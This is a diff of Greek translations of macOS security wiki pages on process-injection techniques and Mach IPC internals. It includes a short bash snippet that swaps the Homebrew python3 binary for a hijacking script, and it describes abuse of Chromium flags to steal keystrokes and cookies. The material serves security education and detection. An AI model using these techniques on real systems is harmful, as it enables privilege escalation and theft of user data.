- Αυτή η κλάση είναι για εργασίες που αλληλεπιδρούν αυτή τη στιγμή με τον χρήστη ή απαιτούν άμεσα αποτελέσματα για να παρέχουν καλή εμπειρία χρήστη. Αυτές οι εργασίες έχουν την υψηλότερη προτεραιότητα για να διατηρούν την διεπαφή ανταγωνιστική (π.χ., κινούμενα σχέδια ή χειρισμός γεγονότων).
@ -133,7 +133,7 @@ tlv_var = 10;
3. **Χρήση:**
- Αυτές οι εργασίες είναι μακροχρόνιες και συνήθως εμφανίζουν έναν δείκτη προόδου (π.χ., λήψη αρχείων, εισαγωγή δεδομένων). Είναι χαμηλότερης προτεραιότητας από τις εργασίες που ξεκινούν οι χρήστες και δεν χρειάζεται να ολοκληρωθούν άμεσα.
4. **Υπόβαθρο:**
- Αυτή η κλάση είναι για εργασίες που λειτουργούν στο παρασκήνιο και δεν είναι ορατές στον χρήστη. Αυτές μπορεί να είναι εργασίες όπως η ευρετηρίαση, η συγχρονισμένη ή οι αντίγραφα ασφαλείας. Έχουν την χαμηλότερη προτεραιότητα και ελάχιστη επίδραση στην απόδοση του συστήματος.
- Αυτή η κλάση είναι για εργασίες που λειτουργούν στο παρασκήνιο και δεν είναι ορατές στον χρήστη. Αυτές μπορεί να είναι εργασίες όπως η ευρετηρίαση, η συγχρονισμός ή τα αντίγραφα ασφαλείας. Έχουν την χαμηλότερη προτεραιότητα και ελάχιστη επίδραση στην απόδοση του συστήματος.
Χρησιμοποιώντας τις κλάσεις QoS, οι προγραμματιστές δεν χρειάζεται να διαχειρίζονται τους ακριβείς αριθμούς προτεραιότητας αλλά να εστιάζουν στη φύση της εργασίας, και το σύστημα βελτιστοποιεί τους πόρους CPU αναλόγως.
@ -141,11 +141,12 @@ tlv_var = 10;
## Κατάχρηση Διαδικασιών MacOS
Το MacOS, όπως κάθε άλλο λειτουργικό σύστημα, παρέχει μια ποικιλία μεθόδων και μηχανισμών για **διαδικασίες να αλληλεπιδρούν, να επικοινωνούν και να μοιράζονται δεδομένα**. Ενώ αυτές οι τεχνικές είναι απαραίτητες για την αποδοτική λειτουργία του συστήματος, μπορούν επίσης να καταχραστούν από απειλητικούς παράγοντες για να **εκτελέσουν κακόβουλες δραστηριότητες**.
Το MacOS, όπως και οποιοδήποτε άλλο λειτουργικό σύστημα, παρέχει μια ποικιλία μεθόδων και μηχανισμών για **διαδικασίες να αλληλεπιδρούν, να επικοινωνούν και να μοιράζονται δεδομένα**. Ενώ αυτές οι τεχνικές είναι απαραίτητες για την αποδοτική λειτουργία του συστήματος, μπορούν επίσης να καταχραστούν από απειλητικούς παράγοντες για να **εκτελέσουν κακόβουλες δραστηριότητες**.
### Εισαγωγή Βιβλιοθήκης
### Εισαγωγή Βιβλιοθηκών
Η Εισαγωγή Βιβλιοθηκών είναι μια τεχνική όπου ένας επιτιθέμενος **αναγκάζει μια διαδικασία να φορτώσει μια κακόβουλη βιβλιοθήκη**. Μόλις εισαχθεί, η βιβλιοθήκη εκτελείται στο πλαίσιο της στοχοθετημένης διαδικασίας, παρέχοντας στον επιτιθέμενο τις ίδιες άδειες και πρόσβαση με τη διαδικασία.
Η Εισαγωγή Βιβλιοθήκης είναι μια τεχνική όπου ένας επιτιθέμενος **αναγκάζει μια διαδικασία να φορτώσει μια κακόβουλη βιβλιοθήκη**. Μόλις εισαχθεί, η βιβλιοθήκη εκτελείται στο πλαίσιο της στοχοθετημένης διαδικασίας, παρέχοντας στον επιτιθέμενο τις ίδιες άδειες και πρόσβαση με τη διαδικασία.
{{#ref}}
macos-library-injection/
@ -155,6 +156,7 @@ macos-library-injection/
Το Hooking Συναρτήσεων περιλαμβάνει **παρεμβολές σε κλήσεις συναρτήσεων** ή μηνύματα εντός ενός κώδικα λογισμικού. Με το hooking συναρτήσεων, ένας επιτιθέμενος μπορεί να **τροποποιήσει τη συμπεριφορά** μιας διαδικασίας, να παρακολουθήσει ευαίσθητα δεδομένα ή ακόμη και να αποκτήσει έλεγχο της ροής εκτέλεσης.
{{#ref}}
macos-function-hooking.md
{{#endref}}
@ -163,6 +165,7 @@ macos-function-hooking.md
Η Επικοινωνία Μεταξύ Διαδικασιών (IPC) αναφέρεται σε διάφορες μεθόδους με τις οποίες ξεχωριστές διαδικασίες **μοιράζονται και ανταλλάσσουν δεδομένα**. Ενώ η IPC είναι θεμελιώδης για πολλές νόμιμες εφαρμογές, μπορεί επίσης να καταχραστεί για να υπονομεύσει την απομόνωση διαδικασιών, να διαρρεύσει ευαίσθητες πληροφορίες ή να εκτελέσει μη εξουσιοδοτημένες ενέργειες.
{{#ref}}
macos-ipc-inter-process-communication/
{{#endref}}
@ -171,13 +174,15 @@ macos-ipc-inter-process-communication/
Οι εφαρμογές Electron που εκτελούνται με συγκεκριμένες μεταβλητές περιβάλλοντος θα μπορούσαν να είναι ευάλωτες σε εισαγωγή διαδικασίας:
{{#ref}}
macos-electron-applications-injection.md
{{#endref}}
### Εισαγωγή Chromium
Είναι δυνατόν να χρησιμοποιηθούν οι σημαίες `--load-extension` και `--use-fake-ui-for-media-stream` για να εκτελέσετε μια **επίθεση man in the browser** επιτρέποντας την κλοπή πλήκτρων, κυκλοφορίας, cookies, την εισαγωγή scripts σε σελίδες...:
Είναι δυνατόν να χρησιμοποιηθούν οι σημαίες `--load-extension` και `--use-fake-ui-for-media-stream` για να εκτελέσετε μια **επίθεση man in the browser** που επιτρέπει την κλοπή πληκτρολογήσεων, κυκλοφορίας, cookies, την εισαγωγή scripts σε σελίδες...:
{{#ref}}
macos-chromium-injection.md
@ -187,13 +192,15 @@ macos-chromium-injection.md
Τα αρχεία NIB **ορίζουν στοιχεία διεπαφής χρήστη (UI)** και τις αλληλεπιδράσεις τους εντός μιας εφαρμογής. Ωστόσο, μπορούν να **εκτελούν αυθαίρετες εντολές** και **ο Gatekeeper δεν σταματά** μια ήδη εκτελούμενη εφαρμογή από το να εκτελείται αν ένα **αρχείο NIB έχει τροποποιηθεί**. Επομένως, θα μπορούσαν να χρησιμοποιηθούν για να κάνουν αυθαίρετα προγράμματα να εκτελούν αυθαίρετες εντολές:
{{#ref}}
macos-dirty-nib.md
{{#endref}}
### Εισαγωγή Εφαρμογών Java
Είναι δυνατόν να καταχραστεί ορισμένες δυνατότητες java (όπως η **`_JAVA_OPTS`** μεταβλητή περιβάλλοντος) για να κάνει μια εφαρμογή java να εκτελεί **αυθαίρετο κώδικα/εντολές**.
Είναι δυνατόν να καταχραστεί ορισμένες δυνατότητες της Java (όπως η μεταβλητή περιβάλλοντος **`_JAVA_OPTS`**) για να εκτελέσει μια εφαρμογή Java **αυθαίρετο κώδικα/εντολές**.
{{#ref}}
macos-java-apps-injection.md
@ -201,7 +208,8 @@ macos-java-apps-injection.md
### Εισαγωγή Εφαρμογών .Net
Είναι δυνατόν να εισαχθεί κώδικας σε εφαρμογές .Net καταχρώντας τη **λειτουργικότητα αποσφαλμάτωσης .Net** (όχι προστατευμένη από τις προστασίες του macOS όπως η σκληροποίηση χρόνου εκτέλεσης).
Είναι δυνατόν να εισαχθεί κώδικας σε εφαρμογές .Net καταχρώντας τη λειτουργικότητα αποσφαλμάτωσης .Net (όχι προστατευμένη από τις προστασίες macOS όπως η σκληρή εκτέλεση).
{{#ref}}
macos-.net-applications-injection.md
@ -209,7 +217,8 @@ macos-.net-applications-injection.md
### Εισαγωγή Perl
Ελέγξτε διάφορες επιλογές για να κάνετε ένα σενάριο Perl να εκτελεί αυθαίρετο κώδικα στο:
Ελέγξτε διάφορες επιλογές για να κάνετε ένα σενάριο Perl να εκτελεί αυθαίρετο κώδικα σε:
{{#ref}}
macos-perl-applications-injection.md
@ -217,7 +226,8 @@ macos-perl-applications-injection.md
### Εισαγωγή Ruby
Είναι επίσης δυνατόν να καταχραστεί η μεταβλητή περιβάλλοντος ruby για να εκτελούνται αυθαίρετα scripts:
Είναι επίσης δυνατόν να καταχραστεί η μεταβλητή περιβάλλοντος ruby για να εκτελούνται αυθαίρετα scripts που εκτελούν αυθαίρετο κώδικα:
{{#ref}}
macos-ruby-applications-injection.md
@ -228,13 +238,13 @@ macos-ruby-applications-injection.md
Αν η μεταβλητή περιβάλλοντος **`PYTHONINSPECT`** είναι ρυθμισμένη, η διαδικασία python θα εισέλθει σε μια CLI python μόλις ολοκληρωθεί. Είναι επίσης δυνατόν να χρησιμοποιήσετε το **`PYTHONSTARTUP`** για να υποδείξετε ένα σενάριο python που θα εκτελείται στην αρχή μιας διαδραστικής συνεδρίας.\
Ωστόσο, σημειώστε ότι το σενάριο **`PYTHONSTARTUP`** δεν θα εκτελείται όταν το **`PYTHONINSPECT`** δημιουργεί τη διαδραστική συνεδρία.
Άλλες μεταβλητές περιβάλλοντος όπως **`PYTHONPATH`** και **`PYTHONHOME`** θα μπορούσαν επίσης να είναι χρήσιμες για να κάνετε μια εντολή python να εκτελεί αυθαίρετο κώδικα.
Άλλες μεταβλητές περιβάλλοντος όπως το **`PYTHONPATH`** και το **`PYTHONHOME`** θα μπορούσαν επίσης να είναι χρήσιμες για να κάνετε μια εντολή python να εκτελεί αυθαίρετο κώδικα.
Σημειώστε ότι τα εκτελέσιμα αρχεία που έχουν μεταγλωττιστεί με **`pyinstaller`** δεν θα χρησιμοποιούν αυτές τις μεταβλητές περιβάλλοντος ακόμη και αν εκτελούνται χρησιμοποιώντας μια ενσωματωμένη python.
Σημειώστε ότι τα εκτελέσιμα αρχεία που έχουν μεταγλωττιστεί με το **`pyinstaller`** δεν θα χρησιμοποιούν αυτές τις μεταβλητές περιβάλλοντος ακόμη και αν εκτελούνται χρησιμοποιώντας μια ενσωματωμένη python.
> [!CAUTION]
> Γενικά, δεν μπόρεσα να βρω έναν τρόπο να κάνω την python να εκτελεί αυθαίρετο κώδικα καταχρώντας τις μεταβλητές περιβάλλοντος.\
> Ωστόσο, οι περισσότεροι άνθρωποι εγκαθιστούν την python χρησιμοποιώντας **Hombrew**, το οποίο θα εγκαταστήσει την python σε μια **γραφτή τοποθεσία** για τον προεπιλεγμένο διαχειριστή χρήστη. Μπορείτε να την καταλάβετε με κάτι τέτοιο:
> Ωστόσο, οι περισσότεροι άνθρωποι εγκαθιστούν την python χρησιμοποιώντας το **Hombrew**, το οποίο θα εγκαταστήσει την python σε μια **γραφτή τοποθεσία** για τον προεπιλεγμένο διαχειριστή χρήστη. Μπορείτε να την καταλάβετε με κάτι όπως:
>
> ```bash
> mv /opt/homebrew/bin/python3 /opt/homebrew/bin/python3.old
@ -246,7 +256,7 @@ macos-ruby-applications-injection.md
> chmod +x /opt/homebrew/bin/python3
> ```
>
> Ακόμη και **root** θα εκτελέσει αυτόν τον κώδικα όταν εκτελεί python.
> Ακόμη και **root** θα εκτελέσει αυτόν τον κώδικα όταν εκτελεί την python.
## Ανίχνευση
@ -257,7 +267,7 @@ macos-ruby-applications-injection.md
- Χρησιμοποιώντας **Μεταβλητές Περιβάλλοντος**: Θα παρακολουθεί την παρουσία οποιασδήποτε από τις παρακάτω μεταβλητές περιβάλλοντος: **`DYLD_INSERT_LIBRARIES`**, **`CFNETWORK_LIBRARY_PATH`**, **`RAWCAMERA_BUNDLE_PATH`** και **`ELECTRON_RUN_AS_NODE`**
- Χρησιμοποιώντας κλήσεις **`task_for_pid`**: Για να βρει πότε μια διαδικασία θέλει να αποκτήσει το **task port μιας άλλης** που επιτρέπει την εισαγωγή κώδικα στη διαδικασία.
- **Παράμετροι εφαρμογών Electron**: Κάποιος μπορεί να χρησιμοποιήσει τα **`--inspect`**, **`--inspect-brk`** και **`--remote-debugging-port`** επιχειρήματα γραμμής εντολών για να ξεκινήσει μια εφαρμογή Electron σε λειτουργία αποσφαλμάτωσης, και έτσι να εισάγει κώδικα σε αυτήν.
- Χρησιμοποιώντας **συμβολικούς συνδέσμους** ή **σκληρούς συνδέσμους**: Συνήθως η πιο κοινή κατάχρηση είναι να **τοποθετήσετε έναν σύνδεσμο με τα δικαιώματα του χρήστη μας**, και **να τον δείξετε σε μια τοποθεσία υψηλότερης άδειας**. Η ανίχνευση είναι πολύ απλή και για τους σκληρούς και για τους συμβολικούς συνδέσμους. Αν η διαδικασία που δημιουργεί τον σύνδεσμο έχει **διαφορετικό επίπεδο άδειας** από το αρχείο στόχο, δημιουργούμε μια **ειδοποίηση**. Δυστυχώς, στην περίπτωση των συμβολικών συνδέσμων, η απαγόρευση δεν είναι δυνατή, καθώς δεν έχουμε πληροφορίες σχετικά με τον προορισμό του συνδέσμου πριν από τη δημιουργία του. Αυτή είναι μια περιοριστική δυνατότητα του πλαισίου EndpointSecuriy της Apple.
- Χρησιμοποιώντας **συμβολικούς συνδέσμους** ή **σκληρούς συνδέσμους**: Συνήθως η πιο κοινή κατάχρηση είναι να **τοποθετήσετε έναν σύνδεσμο με τα προνόμια του χρήστη μας**, και **να τον δείξετε σε μια τοποθεσία υψηλότερης προνομίας**. Η ανίχνευση είναι πολύ απλή και για τους σκληρούς και για τους συμβολικούς συνδέσμους. Αν η διαδικασία που δημιουργεί τον σύνδεσμο έχει **διαφορετικό επίπεδο προνομίων** από το αρχείο στόχο, δημιουργούμε μια **ειδοποίηση**. Δυστυχώς, στην περίπτωση των συμβολικών συνδέσμων, η αποκλεισμός δεν είναι δυνατός, καθώς δεν έχουμε πληροφορίες σχετικά με τον προορισμό του συνδέσμου πριν από τη δημιουργία του. Αυτή είναι μια περιοριστική του πλαισίου EndpointSecurity της Apple.
### Κλήσεις που γίνονται από άλλες διαδικασίες

View File

@ -6,7 +6,7 @@
### Basic Information
Το Mach χρησιμοποιεί **tasks** ως την **μικρότερη μονάδα** για την κοινή χρήση πόρων, και κάθε task μπορεί να περιέχει **πολλές νήματα**. Αυτές οι **tasks και νήματα αντιστοιχίζονται 1:1 σε POSIX processes και threads**.
Το Mach χρησιμοποιεί **tasks** ως την **μικρότερη μονάδα** για την κοινή χρήση πόρων, και κάθε task μπορεί να περιέχει **πολλές νήματα**. Αυτές οι **tasks και νήματα αντιστοιχίζονται 1:1 σε POSIX διαδικασίες και νήματα**.
Η επικοινωνία μεταξύ των tasks συμβαίνει μέσω της Mach Inter-Process Communication (IPC), χρησιμοποιώντας κανάλια επικοινωνίας ενός μόνο τρόπου. **Μηνύματα μεταφέρονται μεταξύ θυρών**, οι οποίες λειτουργούν ως **ουρές μηνυμάτων** που διαχειρίζεται ο πυρήνας.
@ -14,19 +14,19 @@
Κάθε διαδικασία έχει έναν **πίνακα IPC**, όπου είναι δυνατή η εύρεση των **mach ports της διαδικασίας**. Το όνομα μιας mach port είναι στην πραγματικότητα ένας αριθμός (ένας δείκτης στο αντικείμενο του πυρήνα).
Μια διαδικασία μπορεί επίσης να στείλει ένα όνομα θύρας με ορισμένα δικαιώματα **σε μια διαφορετική task** και ο πυρήνας θα κάνει αυτή την καταχώρηση στον **πίνακα IPC της άλλης task** να εμφανιστεί.
Μια διαδικασία μπορεί επίσης να στείλει ένα όνομα θύρας με ορισμένα δικαιώματα **σε μια διαφορετική task** και ο πυρήνας θα κάνει αυτή την καταχώρηση στον **πίνακα IPC της άλλης task**.
### Port Rights
Τα δικαιώματα θύρας, τα οποία καθορίζουν ποιες λειτουργίες μπορεί να εκτελέσει μια task, είναι κλειδί για αυτή την επικοινωνία. Τα πιθανά **δικαιώματα θύρας** είναι ([ορισμοί από εδώ](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
- **Δικαίωμα λήψης**, το οποίο επιτρέπει τη λήψη μηνυμάτων που αποστέλλονται στη θύρα. Οι Mach ports είναι MPSC (πολλοί παραγωγοί, ένας καταναλωτής) ουρές, που σημαίνει ότι μπορεί να υπάρχει μόνο **ένα δικαίωμα λήψης για κάθε θύρα** σε ολόκληρο το σύστημα (σε αντίθεση με τους σωλήνες, όπου πολλές διαδικασίες μπορούν να κατέχουν περιγραφές αρχείων στο αναγνωστικό άκρο ενός σωλήνα).
- **Δικαίωμα λήψης**, το οποίο επιτρέπει τη λήψη μηνυμάτων που αποστέλλονται στη θύρα. Οι Mach ports είναι MPSC (πολλοί παραγωγοί, ένας καταναλωτής) ουρές, που σημαίνει ότι μπορεί να υπάρχει μόνο **ένα δικαίωμα λήψης για κάθε θύρα** σε ολόκληρο το σύστημα (σε αντίθεση με τους σωλήνες, όπου πολλές διαδικασίες μπορούν να κατέχουν περιγραφές αρχείων στο τέλος ανάγνωσης ενός σωλήνα).
- Μια **task με το Δικαίωμα Λήψης** μπορεί να λαμβάνει μηνύματα και **να δημιουργεί Δικαιώματα Αποστολής**, επιτρέποντάς της να στέλνει μηνύματα. Αρχικά μόνο η **δική της task έχει Δικαίωμα Λήψης πάνω στη θύρα** της.
- Εάν ο ιδιοκτήτης του Δικαιώματος Λήψης **πεθάνει** ή το σκοτώσει, το **δικαίωμα αποστολής γίνεται άχρηστο (νεκρό όνομα).**
- **Δικαίωμα αποστολής**, το οποίο επιτρέπει την αποστολή μηνυμάτων στη θύρα.
- Το Δικαίωμα Αποστολής μπορεί να **αντιγραφεί** έτσι ώστε μια task που κατέχει ένα Δικαίωμα Αποστολής να μπορεί να το αντιγράψει και **να το παραχωρήσει σε μια τρίτη task**.
- Σημειώστε ότι τα **δικαιώματα θύρας** μπορούν επίσης να **περαστούν** μέσω μηνυμάτων Mac.
- **Δικαίωμα αποστολής-μία φορά**, το οποίο επιτρέπει την αποστολή ενός μηνύματος στη θύρα και στη συνέχεια εξαφανίζεται.
- **Δικαίωμα αποστολής μία φορά**, το οποίο επιτρέπει την αποστολή ενός μηνύματος στη θύρα και στη συνέχεια εξαφανίζεται.
- Αυτό το δικαίωμα **δεν μπορεί** να **αντιγραφεί**, αλλά μπορεί να **μετακινηθεί**.
- **Δικαίωμα συνόλου θυρών**, το οποίο δηλώνει ένα _σύνολο θυρών_ αντί για μια μόνο θύρα. Η αποδέσμευση ενός μηνύματος από ένα σύνολο θυρών αποδεσμεύει ένα μήνυμα από μία από τις θύρες που περιέχει. Τα σύνολα θυρών μπορούν να χρησιμοποιηθούν για να ακούσουν σε πολλές θύρες ταυτόχρονα, πολύ όπως το `select`/`poll`/`epoll`/`kqueue` στο Unix.
- **Νεκρό όνομα**, το οποίο δεν είναι πραγματικό δικαίωμα θύρας, αλλά απλώς μια θέση κράτησης. Όταν μια θύρα καταστραφεί, όλα τα υπάρχοντα δικαιώματα θύρας στη θύρα μετατρέπονται σε νεκρά ονόματα.
@ -35,37 +35,37 @@
### File Ports
Οι θύρες αρχείων επιτρέπουν την ενσωμάτωση περιγραφών αρχείων σε Mach ports (χρησιμοποιώντας δικαιώματα Mach port). Είναι δυνατή η δημιουργία ενός `fileport` από μια δεδομένη FD χρησιμοποιώντας `fileport_makeport` και η δημιουργία μιας FD από μια fileport χρησιμοποιώντας `fileport_makefd`.
Οι θύρες αρχείων επιτρέπουν την ενσωμάτωση περιγραφών αρχείων σε θύρες Mac (χρησιμοποιώντας δικαιώματα θύρας Mach). Είναι δυνατή η δημιουργία ενός `fileport` από μια δεδομένη FD χρησιμοποιώντας `fileport_makeport` και η δημιουργία μιας FD από μια fileport χρησιμοποιώντας `fileport_makefd`.
### Establishing a communication
Όπως αναφέρθηκε προηγουμένως, είναι δυνατή η αποστολή δικαιωμάτων χρησιμοποιώντας μηνύματα Mach, ωστόσο, **δεν μπορείτε να στείλετε ένα δικαίωμα χωρίς να έχετε ήδη ένα δικαίωμα** για να στείλετε ένα μήνυμα Mach. Έτσι, πώς καθορίζεται η πρώτη επικοινωνία;
Για αυτό, ο **bootstrap server** (**launchd** στο mac) εμπλέκεται, καθώς **ο καθένας μπορεί να αποκτήσει ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ στον bootstrap server**, είναι δυνατή η αίτηση για ένα δικαίωμα να στείλει ένα μήνυμα σε μια άλλη διαδικασία:
Για αυτό, εμπλέκεται ο **bootstrap server** (**launchd** στο mac), καθώς **ο καθένας μπορεί να αποκτήσει ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ στον bootstrap server**, είναι δυνατή η αίτηση για ένα δικαίωμα να στείλει ένα μήνυμα σε μια άλλη διαδικασία:
1. Η task **A** δημιουργεί μια **νέα θύρα**, αποκτώντας το **ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ** πάνω της.
2. Η task **A**, ως κάτοχος του Δικαιώματος Λήψης, **δημιουργεί ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ για τη θύρα**.
3. Η task **A** καθορίζει μια **σύνδεση** με τον **bootstrap server**, και **του στέλνει το ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ** για τη θύρα που δημιούργησε στην αρχή.
1. Η Task **A** δημιουργεί μια **νέα θύρα**, αποκτώντας το **ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ** πάνω της.
2. Η Task **A**, ως κάτοχος του Δικαιώματος Λήψης, **δημιουργεί ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ για τη θύρα**.
3. Η Task **A** καθορίζει μια **σύνδεση** με τον **bootstrap server**, και **του στέλνει το ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ** για τη θύρα που δημιούργησε στην αρχή.
- Θυμηθείτε ότι ο καθένας μπορεί να αποκτήσει ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ στον bootstrap server.
4. Η task A στέλνει ένα μήνυμα `bootstrap_register` στον bootstrap server για **να συσχετίσει τη δεδομένη θύρα με ένα όνομα** όπως `com.apple.taska`
5. Η task **B** αλληλεπιδρά με τον **bootstrap server** για να εκτελέσει μια bootstrap **αναζήτηση για το όνομα υπηρεσίας** (`bootstrap_lookup`). Έτσι, ο bootstrap server μπορεί να απαντήσει, η task B θα του στείλει ένα **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ σε μια θύρα που δημιούργησε προηγουμένως** μέσα στο μήνυμα αναζήτησης. Εάν η αναζήτηση είναι επιτυχής, ο **server διπλασιάζει το ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ** που έλαβε από την Task A και **το μεταδίδει στην Task B**.
4. Η Task A στέλνει ένα μήνυμα `bootstrap_register` στον bootstrap server για **να συσχετίσει τη δεδομένη θύρα με ένα όνομα** όπως `com.apple.taska`
5. Η Task **B** αλληλεπιδρά με τον **bootstrap server** για να εκτελέσει μια bootstrap **αναζήτηση για το όνομα υπηρεσίας** (`bootstrap_lookup`). Έτσι, ο bootstrap server μπορεί να απαντήσει, η task B θα του στείλει ένα **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ σε μια θύρα που δημιούργησε προηγουμένως** μέσα στο μήνυμα αναζήτησης. Εάν η αναζήτηση είναι επιτυχής, ο **server διπλασιάζει το ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ** που έλαβε από την Task A και **το μεταδίδει στην Task B**.
- Θυμηθείτε ότι ο καθένας μπορεί να αποκτήσει ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ στον bootstrap server.
6. Με αυτό το ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ, η **Task B** είναι ικανή να **στείλει** ένα **μήνυμα** **στην Task A**.
7. Για μια αμφίδρομη επικοινωνία, συνήθως η task **B** δημιουργεί μια νέα θύρα με ένα **ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ** και ένα **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ**, και δίνει το **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ στην Task A** ώστε να μπορεί να στέλνει μηνύματα στην TASK B (αμφίδρομη επικοινωνία).
Ο bootstrap server **δεν μπορεί να πιστοποιήσει** το όνομα υπηρεσίας που διεκδικεί μια task. Αυτό σημαίνει ότι μια **task** θα μπορούσε δυνητικά να **παριστάνει οποιαδήποτε συστημική task**, όπως να διεκδικεί ψευδώς ένα όνομα υπηρεσίας εξουσιοδότησης και στη συνέχεια να εγκρίνει κάθε αίτημα.
Ο bootstrap server **δεν μπορεί να πιστοποιήσει** το όνομα υπηρεσίας που ισχυρίζεται μια task. Αυτό σημαίνει ότι μια **task** θα μπορούσε δυνητικά να **παριστάνει οποιαδήποτε συστημική task**, όπως ψευδώς **να ισχυρίζεται ένα όνομα υπηρεσίας εξουσιοδότησης** και στη συνέχεια να εγκρίνει κάθε αίτημα.
Στη συνέχεια, η Apple αποθηκεύει τα **ονόματα υπηρεσιών που παρέχονται από το σύστημα** σε ασφαλή αρχεία ρυθμίσεων, που βρίσκονται σε **SIP-protected** καταλόγους: `/System/Library/LaunchDaemons` και `/System/Library/LaunchAgents`. Μαζί με κάθε όνομα υπηρεσίας, το **σχετικό δυαδικό αρχείο αποθηκεύεται επίσης**. Ο bootstrap server θα δημιουργήσει και θα διατηρήσει ένα **ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ για καθένα από αυτά τα ονόματα υπηρεσίας**.
Για αυτές τις προκαθορισμένες υπηρεσίες, η **διαδικασία αναζήτησης διαφέρει ελαφρώς**. Όταν αναζητείται ένα όνομα υπηρεσίας, το launchd ξεκινά την υπηρεσία δυναμικά. Η νέα ροή εργασίας είναι ως εξής:
- Η task **B** ξεκινά μια bootstrap **αναζήτηση** για ένα όνομα υπηρεσίας.
- Η Task **B** ξεκινά μια bootstrap **αναζήτηση** για ένα όνομα υπηρεσίας.
- Ο **launchd** ελέγχει αν η task εκτελείται και αν δεν εκτελείται, **την ξεκινά**.
- Η task **A** (η υπηρεσία) εκτελεί μια **bootstrap check-in** (`bootstrap_check_in()`). Εδώ, ο **bootstrap** server δημιουργεί ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ, το διατηρεί και **μεταφέρει το ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ στην Task A**.
- Η Task **A** (η υπηρεσία) εκτελεί έναν **bootstrap check-in** (`bootstrap_check_in()`). Εδώ, ο **bootstrap** server δημιουργεί ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ, το διατηρεί και **μεταφέρει το ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ στην Task A**.
- Ο launchd διπλασιάζει το **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ και το στέλνει στην Task B**.
- Η task **B** δημιουργεί μια νέα θύρα με ένα **ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ** και ένα **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ**, και δίνει το **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ στην Task A** (την svc) ώστε να μπορεί να στέλνει μηνύματα στην TASK B (αμφίδρομη επικοινωνία).
- Η Task **B** δημιουργεί μια νέα θύρα με ένα **ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ** και ένα **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ**, και δίνει το **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ στην Task A** (την svc) ώστε να μπορεί να στέλνει μηνύματα στην TASK B (αμφίδρομη επικοινωνία).
Ωστόσο, αυτή η διαδικασία ισχύει μόνο για προκαθορισμένες συστημικές tasks. Οι μη συστημικές tasks λειτουργούν όπως περιγράφηκε αρχικά, γεγονός που θα μπορούσε δυνητικά να επιτρέψει την παριστάνουν.
Ωστόσο, αυτή η διαδικασία ισχύει μόνο για προκαθορισμένες συστημικές tasks. Οι μη συστημικές tasks λειτουργούν ακόμα όπως περιγράφηκε αρχικά, γεγονός που θα μπορούσε δυνητικά να επιτρέψει την παρενόχληση.
> [!CAUTION]
> Επομένως, ο launchd δεν πρέπει ποτέ να καταρρεύσει ή ολόκληρο το σύστημα θα καταρρεύσει.
@ -74,7 +74,7 @@
[Find more info here](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
Η συνάρτηση `mach_msg`, που είναι ουσιαστικά μια κλήση συστήματος, χρησιμοποιείται για την αποστολή και λήψη μηνυμάτων Mach. Η συνάρτηση απαιτεί το μήνυμα που θα σταλεί ως αρχικό επιχείρημα. Αυτό το μήνυμα πρέπει να ξεκινά με μια δομή `mach_msg_header_t`, ακολουθούμενη από το πραγματικό περιεχόμενο του μηνύματος. Η δομή ορίζεται ως εξής:
Η συνάρτηση `mach_msg`, που είναι ουσιαστικά μια κλήση συστήματος, χρησιμοποιείται για την αποστολή και λήψη μηνυμάτων Mach. Η συνάρτηση απαιτεί το μήνυμα που θα σταλεί ως την αρχική παράμετρο. Αυτό το μήνυμα πρέπει να ξεκινά με μια δομή `mach_msg_header_t`, ακολουθούμενη από το πραγματικό περιεχόμενο του μηνύματος. Η δομή ορίζεται ως εξής:
```c
typedef struct {
mach_msg_bits_t msgh_bits;
@ -85,11 +85,11 @@ mach_port_name_t msgh_voucher_port;
mach_msg_id_t msgh_id;
} mach_msg_header_t;
```
Διεργασίες που κατέχουν ένα _**δικαίωμα λήψης**_ μπορούν να λαμβάνουν μηνύματα σε μια Mach θύρα. Αντίθετα, οι **αποστολείς** έχουν ένα _**δικαίωμα αποστολής**_ ή ένα _**δικαίωμα αποστολής-μία φορά**_. Το δικαίωμα αποστολής-μία φορά προορίζεται αποκλειστικά για την αποστολή ενός μόνο μηνύματος, μετά το οποίο καθίσταται άκυρο.
Διεργασίες που κατέχουν ένα _**δικαίωμα λήψης**_ μπορούν να λαμβάνουν μηνύματα σε μια θύρα Mach. Αντίθετα, οι **αποστολείς** έχουν ένα _**δικαίωμα αποστολής**_ ή ένα _**δικαίωμα αποστολής-μία φορά**_. Το δικαίωμα αποστολής-μία φορά προορίζεται αποκλειστικά για την αποστολή ενός μόνο μηνύματος, μετά το οποίο καθίσταται άκυρο.
